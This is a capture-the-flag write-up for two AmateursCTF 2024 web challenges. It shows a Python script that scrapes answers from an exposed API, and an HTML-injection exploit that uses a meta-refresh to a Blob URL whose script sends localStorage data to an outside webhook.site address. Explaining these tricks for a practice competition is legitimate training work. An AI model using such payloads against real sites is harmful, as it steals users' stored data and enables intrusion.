TL;DR

This is a writeup for some web challenge for AmateursCTF 2024

Lahoot

This is a very fun challenge, just for trolling. By dirsearch, we will find a hidden endpoint which is /docs. img1

Wow, there is /api/question/{question_id}

And the id is in the HTML itself, in the attribute data-id

img2

I plugged 1 question id in, and get this

img3 Finally, we can use python script to automate all of these.

import requests
import re
import urllib.parse


session = requests.Session()

url = 'http://lahoot-async.amt.rs/'
r = session.post(url + 'session', data={'username': 'testtesttest18'})
our_session = session.cookies.get('session')
r = session.get(url + 'question')
print(our_session)
id = re.search(r"data-id =\s*\"([^\"]*)", r.text).group(1)
print(id)
r = requests.get(url + 'api/question/' + id)
ans = (r.json()["correctAnswer"])
for i in range(200):
    print(ans)
    r = session.post(url + 'question', data={'answer': ans})
    id = re.search(r"data-id =\s*\"([^\"]*)", r.text).group(1)
    print(id)
    r = requests.get(url + 'api/question/' + id)
    ans = (r.json()["correctAnswer"])

Busy-bee

Analysis

After looking around in index.js, I found interesting function which can change HTML.

const putLog = (msg) => {
  const p = document.createElement("p");
  p.setHTML(msg);
  log.appendChild(p);
};

This function is called in a lot of place, but most of them are safe data. But there is a place where untrusted data is passed in.

...
} else if (e.data.type === "error") {
        putLog(e.data.msg);
        res();
      }
...

So we will have HTML injection.

HTML INJECTION

So how could we get that e.data.type === “error”? In worker.js, we have this

const tickBee = (e) => {
  try {
    const action = beeFn(e.data.world, e.data.me);
    postMessage({ type: "action", action });
  } catch (err) {
    postMessage({
      type: "error",
      msg: `<span class="text-red-500">&gt; A bee has crashed! ${err.toString()}</span>`,
    });
  }
};

The function beeFn() must throw an error, and the error will be parsed directly in the msg.

throw new Error("<b>Injected</b>");

img4

setHTML()

Can we inject script tag? Sadly no, anything XSS will be filtered by setHTML(). Is this a dead end?

Blob

After the CTF ended, in discord, someone said that he solved this by using meta tag and Blob. Blob? The Blob object represents a blob, which is a file-like object of immutable, raw data. Combining with URL.createObjectURL(), we can “host a simple server”.

And blob URL doesn’t have different origin. That’s why we can access the window.localStorage. So by using Blob, we can create a javascript script to make a fetch to our webhook, and retrieve the flag.

Luckily, meta tag isn’t blocked at all, so we can use meta tag to redirect to our blob URL.

<meta http-equiv="refresh" content="0;url=???">

Combine everthing, we have:

const  htmlcontent = `<script>
    fetch('https://webhook.site/e6ac0f5c-05bb-4b0d-ad0b-0a5595a40691?c=' + window.localStorage.getItem('flag'), {
        method: 'GET',
        mode: 'no-cors'
    });
</script>`;
const blob = new Blob([htmlcontent], { type: 'text/html' });
const blobURL = URL.createObjectURL(blob);
throw new Error('<meta http-equiv="refresh" content="0; url='+blobURL+'">');